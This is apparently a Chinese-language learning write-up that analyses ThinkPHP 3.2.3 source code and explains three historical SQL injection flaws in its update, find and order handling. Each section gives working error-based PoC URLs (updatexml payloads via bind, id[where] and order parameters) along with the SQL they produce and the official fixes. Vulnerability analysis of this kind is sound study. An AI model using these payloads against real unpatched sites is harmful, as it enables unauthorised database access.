前置

原先审过一次这个ThinkPhP3的只不过是一些反序列化的洞

又跟着审了一些sql注入的洞,说实话这里的洞不算太难,也学到了很多

我们看一下这个大概的框架

这里的Think是核心框架,上面还有一个应用目录,这个应用目录是我们可以魔改的

路由什么的都不说了,这个东西前面已经说过了,这个核心框架里面thinkphp给我们提供了一些方法

快捷函数

I方法

echo I('get.id'); // 相当于 $_GET['id']
echo I('get.name'); // 相当于 $_GET['name']
echo I('get.name','','htmlspecialchars'); 	// 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串

C方法

//	读取当前的URL模式配置参数
$model = C('URL_MODEL');

M方法/D方法

用于数据模型的实例化操作,具体这两个方法怎么实现,有什么区别,暂时就不多关注了,只用知道通过这两个快捷方法能快速实例化一个数据模型对象,从而操作数据库

//实例化模型
// 相当于 $User = new \Home\Model\UserModel();
$User = D('User');
// 和用法 $User = new \Think\Model('User'); 等效
$User = M('User');

模型

TP3是基于MVC模式的架构,大多数的逻辑都是基于模型M实习的,像数据库操作和程序的逻辑

继承模型基类

namespace Home\Model;
use Think\Model;
class UserModel extends Model {
}

模型实例化

1)可以直接通过类名进行实例化

$User = new  \Home\Model\UserModel();

2)我们还可以通过快捷方法进行实例化D方法和M方法

D方法用于实例化具体的模型类

<?php
//实例化模型
$User = D('User');
// 相当于 $User = new \Home\Model\UserModel();
// 执行具体的数据操作
$User->select();

M方法不会加载具体的类,而是实例化利用模型基类,只定义一个名字就能指定对应的表名

// 使用M方法实例化
$User = M('User');
// 和用法 $User = new \Think\Model('User'); 等效
// 执行其他的数据操作
$User->select();

3)实例化空模型

使用原生SQL查询的话,不需要使用额外的模型类,实例化一个空模型类即可进行操作了

//实例化空模型
$Model = new Model();
//或者使用M快捷方法是等效的
$Model = M();
//进行原生的SQL查询
$Model->query('SELECT * FROM think_user WHERE status = 1');

模型基类的数据库操作

  • where() 决定 where 字段的构造,参数支持字符串和数组,主要用于获取sql语句的where部分

  • select() 执行 select 查询,获取数据表中的多行记录

  • find() 执行 select 查询,读取数据表中的一行数据

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $name = I('GET.name');
        $User = M("user"); // 实例化User对象
        $User->where(array('name'=>$name))->select();
    }
}

大概就是这么用的

安全过滤机制

I 方法的安全过滤

在我们进行传入一个参数的时候一可以用快捷函数,就是I()函数,在

这里面是functions.php,我们找到I()方法

上面是它的介绍,这里一般都会对我们传入的参数进行过滤

这里会调用这个DEFAULT_FILTER就是默认方法进行过滤

'DEFAULT_FILTER'        =>  'htmlspecialchars', // 默认参数过滤方法 用于I函数...

最后还会经过这个think_filter进行过滤

function think_filter(&$value){
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

匹配到关键字符后面加一个空格

这里注意 thinkphp3.2.3 中敏感字符不包含BIND,该版本就因为这一点存在一个sql注入的风险

数据库操作的安全过滤

I方法会做一些安全过滤,很多程序会使用自己的预编译,TP3在数据库操作上也自己的安全过滤操作

示例程序

这是一个常见的外部输入where查询条件的sql操作,对TP3数据库操作有一定的普适性

Application/Home/Controller/IndexController.class.php

class IndexController extends Controller {
    public function test(){
        $name = I('GET.name');
        $User = M("user"); // 实例化User对象
        $User->field('username,age')->where(array('username'=>$name))->select();
    }
}

访问下面的链接

http://tp.test:8888/index.php/home/index/test?name=s'

最终执行的sql语句为:

SELECT `username`,`age` FROM `think_user` WHERE `username` = 's\''

下面分析一下这个sql语句的执行流程

按照链式操作的顺序,会依次执行field()、where()、select()。field()用于处理查询的字段,这里数据不可控,我们只关注where和selecct

我们先看where()

/**
     * 指定查询条件 支持安全过滤
     * @access public
     * @param mixed $where 条件表达式
     * @param mixed $parse 预处理参数
     * @return Model
     */ 
public function where($where,$parse=null){
        if(!is_null($parse) && is_string($where)) {
            if(!is_array($parse)) {
                $parse = func_get_args();
                array_shift($parse);
            }
            $parse = array_map(array($this->db,'escapeString'),$parse);
            $where =   vsprintf($where,$parse);
        }elseif(is_object($where)){
            $where  =   get_object_vars($where);
        }
        if(is_string($where) && '' != $where){
            $map    =   array();
            $map['_string']   =   $where;
            $where  =   $map;
        }        
        if(isset($this->options['where'])){
            $this->options['where'] =   array_merge($this->options['where'],$where);
        }else{
            $this->options['where'] =   $where;
        }
        
        return $this;
    }

这里的where方法是查询条件,还进行了安全过滤

如果说我们的where为字符串的话,这里就会进行过滤用这个escapeString这个方法,这里就不能用字符串的方式了,我

如果是数组的话,这里就是把字段存在options[where]里面没有进行处理,等到后续在进行处理

接下来就是这个select()方法了

这里我们传入字符串会被直接过滤,我们传入数组,然后到这个select,看看怎么处理

where()方法将where字段部分数据放到了模型对象的options数组属性中保存,select()方法将主要通过options数组组成最终的sql语句,其底层将由 ThinkPHP/Library/Think/Db/Driver.class.php 封装完成

过程比较复杂

可以看到最终的sql语句将由 buildSelectSql() 完成,其中由parseTable(),parseWhere()等若干方法完成sql语句各个set字段的组成

其中where字段由parseWhere()解析,因为前面对字符串参数已经过滤了,parseWhere()并没有在做过滤,而是对数组参数进行了过滤,处理细节位于parseWhereItem(),我们需要关注parseWhereItem()是否做到了严丝合缝

我们在看一下这个parseWhere()

在这个Driver.class.php中找到了这个方法

这里有个过滤,我们因为已经在前面进行了过滤所以这里的过滤就没有什么东西了

真正的处理在这里

这里有个这个pareValue的过滤

要想绕过这个过滤,我们看一下上面的条件

要是我们的exp的值为这几个时就不会经过parseValue()这个方法的过滤

这个exp就是val[0],我们传入的两个参数

这个key就键名,这个val就键值

如果为bind的话这里就会加上=:

如果为exp的话直接拼接

如果为in的话,这里就会进行in运算,这里不太合适

但看的话,看似是exp最合适,我们试一下

我们在这里下个断点

发送这个/index.php/home/index/test?name[0]=exp&name[1]=111'

这里面根本没有进去这个判断,仔细看一下就能发现,这里多了一个空格

是因为这里的I方法进行了过滤,把这个加上了空格

历史漏洞

update注入漏洞

在上面说过这里的三个不经过parseValue()的值,上面验证了这个exp这个值会被过滤

我们再次看一下这个I()方法这里的过滤字段

function think_filter(&$value){
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

这里是没有这个BING的,我们可以通过这个来进行注入,但是我们前面也分析了,经过这个BlNG之后会拼接一个=:

但是有人发现了可以经过这个save()这个函数来消除这个影响

我们先来介绍一下这个函数的使用

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['email'] = 'ThinkPHP@gmail.com';
$User->where('id=5')->save($data); // 根据条件更新记录

处了这种方式,也可以对象形式

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$User->name = 'ThinkPHP';
$User->email = 'ThinkPHP@gmail.com';
$User->where('id=5')->save(); // 根据条件更新记录

我们先构造一个save()的场景

public function test(){
        $name = I('GET.name');
        $User = M("user"); // 实例化User对象
        $data['jop'] = '111';
        $res = $User->where(array('name'=>$name))->save($data);
        var_dump($res);
}

外部方法用I()这个来接收

save()的处理逻辑

where这个方法我们上面已经分析过,这里我们只能传入数组

这个$options存储着where字段,$data存放着set字段

$data$options 是组成sql语句的关键,最终将交于 db->update() 实现

//	ThinkPHP/Library/Think/Model.class.php
class Model {
  protected $options;
  public function save($data='',$options=array()) {
    		……
       	//	底层由数据库Driver类update()实现
        $result     =   $this->db->update($data,$options);
				……
        return $result;
    }
}

我们跟进一下这个updata这个方法

 public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

这里就是将这个data字段设置成set字段,这个date字段就是我们传入的的 $data['jop'] = '111'

传到这个parseSet中的时候,会把这个字段,放在bind数组中,并加上[:name] 的占位符标记

对与这个来说就是

:0 = '111'

因为这里会做预编译处理

但是我们传入的name没有在这个set字段中,还是在where

where的处理中,我们会将在这个BIND的where的后面加上这个=:,

我们往后看

最后会调用这个execute这个方法,这个方法就是

    /**
     * 执行语句
     * @access public
     * @param string $str  sql指令
     * @param boolean $fetchSql  不执行只是获取SQL
     * @return mixed
     */
    public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }
        //释放前次的查询结果
        if ( !empty($this->PDOStatement) ) $this->free();
        $this->executeTimes++;
        N('db_write',1); // 兼容代码
        // 记录开始执行时间
        $this->debug(true);
        $this->PDOStatement =   $this->_linkID->prepare($str);
        if(false === $this->PDOStatement) {
            $this->error();
            return false;
        }
        foreach ($this->bind as $key => $val) {
            if(is_array($val)){
                $this->PDOStatement->bindValue($key, $val[0], $val[1]);
            }else{
                $this->PDOStatement->bindValue($key, $val);
            }
        }
        $this->bind =   array();
        try{
            $result =   $this->PDOStatement->execute();
            // 调试结束
            $this->debug(false);
            if ( false === $result) {
                $this->error();
                return false;
            } else {
                $this->numRows = $this->PDOStatement->rowCount();
                if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {
                    $this->lastInsID = $this->_linkID->lastInsertId();
                }
                return $this->numRows;
            }
        }catch (\PDOException $e) {
            $this->error();
            return false;
        }
    }

这里面的这个str就是我们的sql语句

这里会有两个函数,一个是替换函数,一个是这个匿名函数

调用这个escapeString 函数进行过滤bind数组,这个数组里面只有set字段的值,

然后进行替换操作,将我们原先存储在set字段的值进行替换,然后就是将:0 = '111' 替换将set :0替换为111,

是对整个sql语句进行替换,这里如果说我们将where字段的第一个字段设置为0

那么这个where就是=:0 那么我们在进行替换操作的时候,这个 :0也会替换成bind数组里面的值

那我们不就消除 : 对我们的影响了

$this->queryStr 语句处理好后,再通过预编译执行该语句,可惜其中的占位标记符已经被替换了,在预处理前就已经发生了注入,漏洞产生

验证漏洞

poc如下,传入的name为数组,name[0]=bind目的是进入bind的逻辑,name[1]为payload数据,其中第一位字符要为0

/index.php/home/index/test?name[0]=bind&name[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

实际执行的sql语句

UPDATE `think_user` SET `job`='111' WHERE `username` = '111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--

官方修复

就是也把这个bind也加入黑名单

select&delete 注入漏洞

这个注入漏洞是需要开发者配合的漏洞,我们可以用这个find()方法进行一个sql注入

首先我们看一下这个find()方法

public function find($options=array()) {
        if(is_numeric($options) || is_string($options)) {
            $where[$this->getPk()]  =   $options;
            $options                =   array();
            $options['where']       =   $where;
        }
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);
        // 判断查询缓存
        if(isset($options['cache'])){
            $cache  =   $options['cache'];
            $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
            $data   =   S($key,'',$cache);
            if(false !== $data){
                $this->data     =   $data;
                return $data;
            }
        }
        $resultSet          =   $this->db->select($options);
        if(false === $resultSet) {
            return false;
        }
        if(empty($resultSet)) {// 查询结果为空
            return null;
        }
        if(is_string($resultSet)){
            return $resultSet;
        }

        // 读取数据后的处理
        $data   =   $this->_read_data($resultSet[0]);
        $this->_after_find($data,$options);
        if(!empty($this->options['result'])) {
            return $this->returnResult($data,$this->options['result']);
        }
        $this->data     =   $data;
        if(isset($cache)){
            S($key,$data,$cache);
        }
        return $this->data;
    }

这个find()方法可以接收外部参数options

如果这个options的类型为字符串或者是数字型的时候会进入下面的判断

这个getPk()是获得主键

这个pk的值一般默认为id

下面就是$where[$id] = $options; $options['where'] = $where; 这个只能控制where这个字段的值,利用比较苛刻

这里当这个option为数组时,且主键pk也为数组时,就会进入联合查询

这个最后的options是经过_parseOptions()函数进行处理的

这个参数就是我们options

我们跟进一下

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);

        if(!isset($options['table'])){
            // 自动获取表名
            $options['table']   =   $this->getTableName();
            $fields             =   $this->fields;
        }else{
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields             =   $this->getDbFields();
        }

        // 数据表别名
        if(!empty($options['alias'])) {
            $options['table']  .=   ' '.$options['alias'];
        }
        // 记录操作的模型名称
        $options['model']       =   $this->name;

        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;
    }

这是个合并数组的操作,假如两个数组有相同的键名,那么第二个键值会覆盖第一个键值

这样我们传入[where]这个键名,这样就传到option[where]这个键名上了,这样就实现了我们的sql语句是可控的(如果我们传入find()的参数是可控的)

现在还需要考虑的是,底层代码对我们传入的sql语句会不会过滤

这里还是进行select的查询

我们看一下,根据前面的分析,这个select的查询最后处理是在parseWhere,我们跟进看一下

如果说我们的值是这个字符串的话,就没有任何处理,所以保证我们传入的是一个字符串即可

这个传入的场景构造

public function test(){
  	$id = I('GET.id');
    $User = M("user"); // 实例化User对象
  	$res = $User->find($id);
}

漏洞利用

poc如下,要传入id[‘where’]数组

http://127.0.0.1/tp3.23/thinkphp3.2.3-master/index.php/home/index/test?id[where]=(1=1)%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))--+

实际上执行的sql语句

SELECT * FROM `think_user` WHERE (1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- LIMIT 1

官方修复

官方在修复上就是在 _parseOptions() 处忽略了外部传入的 $options,这样我们传入的数据只能用于主键查询,而主键查询最终会转换为数组格式,数组格式数据在后面也会被过滤,那么这个漏洞就不存在了

order by 注入漏洞

tp3没有提供order这个函数进行查询

但是有魔术方法__call()这个函数可以帮助我们进行使用order函数

 /**
     * 利用__call方法实现一些特殊的Model方法
     * @access public
     * @param string $method 方法名称
     * @param array $args 调用参数
     * @return mixed
     */
    public function __call($method,$args) {
        if(in_array(strtolower($method),$this->methods,true)) {
            // 连贯操作的实现
            $this->options[strtolower($method)] =   $args[0];
            return $this;
        }elseif(in_array(strtolower($method),array('count','sum','min','max','avg'),true)){
            // 统计查询的实现
            $field =  isset($args[0])?$args[0]:'*';
            return $this->getField(strtoupper($method).'('.$field.') AS tp_'.$method);
        }elseif(strtolower(substr($method,0,5))=='getby') {
            // 根据某个字段获取记录
            $field   =   parse_name(substr($method,5));
            $where[$field] =  $args[0];
            return $this->where($where)->find();
        }elseif(strtolower(substr($method,0,10))=='getfieldby') {
            // 根据某个字段获取记录的某个值
            $name   =   parse_name(substr($method,10));
            $where[$name] =$args[0];
            return $this->where($where)->getField($args[1]);
        }elseif(isset($this->_scope[$method])){// 命名范围的单独调用支持
            return $this->scope($method,$args[0]);
        }else{
            E(__CLASS__.':'.$method.L('_METHOD_NOT_EXIST_'));
            return;
        }
    }

这个我们可以触发__call函数,这里面的method就是我们调用的oreder,这里的args也是我们传入的参数

这里我们可以看一下这个parseorder函数

  protected function parseOrder($order) {
        if(is_array($order)) {
            $array   =  array();
            foreach ($order as $key=>$val){
                if(is_numeric($key)) {
                    $array[] =  $this->parseKey($val);
                }else{
                    $array[] =  $this->parseKey($key).' '.$val;
                }
            }
            $order   =  implode(',',$array);
        }
        return !empty($order)?  ' ORDER BY '.$order:'';
    }

这里没有过滤,那就太好了,我们可以随便传入sql语句

是通过这个parseSql来调用这个函数

设置使用场景

public function test(){
		$order = I('GET.order');
    $User = M("user"); // 实例化User对象
		$res = $User->order($order)->find();
}

漏洞利用

http://127.0.0.1/tp3.23/thinkphp3.2.3-master/index.php/home/index/test/?order=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)

实际执行sql语句

SELECT * FROM `think_user` ORDER BY updatexml(1,concat(0x7e,(select user()),0x7e),1)

系统修复

ThinkPHP3.2.4主要采用了判断输入中是否有括号的方式过滤,在ThinkPHP3.2.5中则用正则表达式过滤特殊符号。另外该在 ThinkPHP<=5.1.22 版本也存在这样的漏洞,利用方式有一些不同

总结

分析了tp3的sql注入,现在对tp框架的认识越来越深刻了,通过Xdubug调试也学到了很多